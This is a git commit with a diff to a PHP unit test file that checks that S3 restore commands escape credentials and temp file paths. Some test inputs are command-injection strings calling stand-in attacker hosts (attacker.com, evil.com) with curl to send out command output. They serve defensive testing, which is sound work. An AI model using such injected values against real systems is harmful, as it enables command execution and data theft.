fix(database): quote S3 restore temp paths

Escape generated restore file paths before composing docker and shell cleanup commands so paths with spaces or metacharacters cannot break command execution. Update import form security coverage to target ImportForm directly.

tests/Unit/S3RestoreSecurityTest.php

@@ -1,8 +1,14 @@
 <?php
 
+use App\Livewire\Project\Database\ImportForm;
+use App\Models\StandaloneMariadb;
+use App\Models\StandaloneMongodb;
+use App\Models\StandaloneMysql;
+use App\Models\StandalonePostgresql;
+
 it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
     // Test that escapeshellarg works correctly for various malicious inputs
-    // This is the core security mechanism used in Import.php line 407-410
+    // This is the core security mechanism used by ImportForm.
 
     // Test case 1: Secret with command injection attempt
     $maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
 });
 
 it('verifies command injection is prevented in mc alias set command format', function () {
-    // Simulate the exact scenario from Import.php:407-410
+    // Simulate the exact scenario from ImportForm.
     $containerName = 's3-restore-test-uuid';
     $endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
     $key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
     // The command should contain the properly escaped secret
     expect($command)->toContain("'my'\\''secret'\\''key'");
 });
+
+it('quotes restore command temp paths with spaces', function (string $morphClass) {
+    $component = new class extends ImportForm
+    {
+        public string $morphClass;
+
+        public function __get($property)
+        {
+            if ($property === 'resource') {
+                return new class($this->morphClass)
+                {
+                    public function __construct(private readonly string $morphClass) {}
+
+                    public function getMorphClass(): string
+                    {
+                        return $this->morphClass;
+                    }
+                };
+            }
+
+            return parent::__get($property);
+        }
+    };
+    $component->morphClass = $morphClass;
+
+    $tmpPath = '/tmp/restore_test-may 2026.sql.gz';
+    $restoreCommand = $component->buildRestoreCommand($tmpPath);
+
+    expect($restoreCommand)
+        ->toContain(escapeshellarg($tmpPath))
+        ->not->toContain(" {$tmpPath}");
+})->with([
+    'mariadb' => StandaloneMariadb::class,
+    'mysql' => StandaloneMysql::class,
+    'postgresql' => StandalonePostgresql::class,
+    'mongodb' => StandaloneMongodb::class,
+]);
+
+it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
+    $component = new class extends ImportForm
+    {
+        public string $morphClass;
+
+        public function __get($property)
+        {
+            if ($property === 'resource') {
+                return new class($this->morphClass)
+                {
+                    public function __construct(private readonly string $morphClass) {}
+
+                    public function getMorphClass(): string
+                    {
+                        return $this->morphClass;
+                    }
+                };
+            }
+
+            return parent::__get($property);
+        }
+    };
+    $component->morphClass = $morphClass;
+    $component->dumpAll = true;
+
+    $tmpPath = '/tmp/restore_test-may 2026.sql.gz';
+    $escapedTmpPath = escapeshellarg($tmpPath);
+    $restoreCommand = $component->buildRestoreCommand($tmpPath);
+
+    expect($restoreCommand)
+        ->toContain("gunzip -cf {$escapedTmpPath}")
+        ->toContain("cat {$escapedTmpPath}")
+        ->not->toContain("gunzip -cf {$tmpPath}")
+        ->not->toContain("cat {$tmpPath}");
+})->with([
+    'mariadb' => StandaloneMariadb::class,
+    'mysql' => StandaloneMysql::class,
+    'postgresql' => StandalonePostgresql::class,
+]);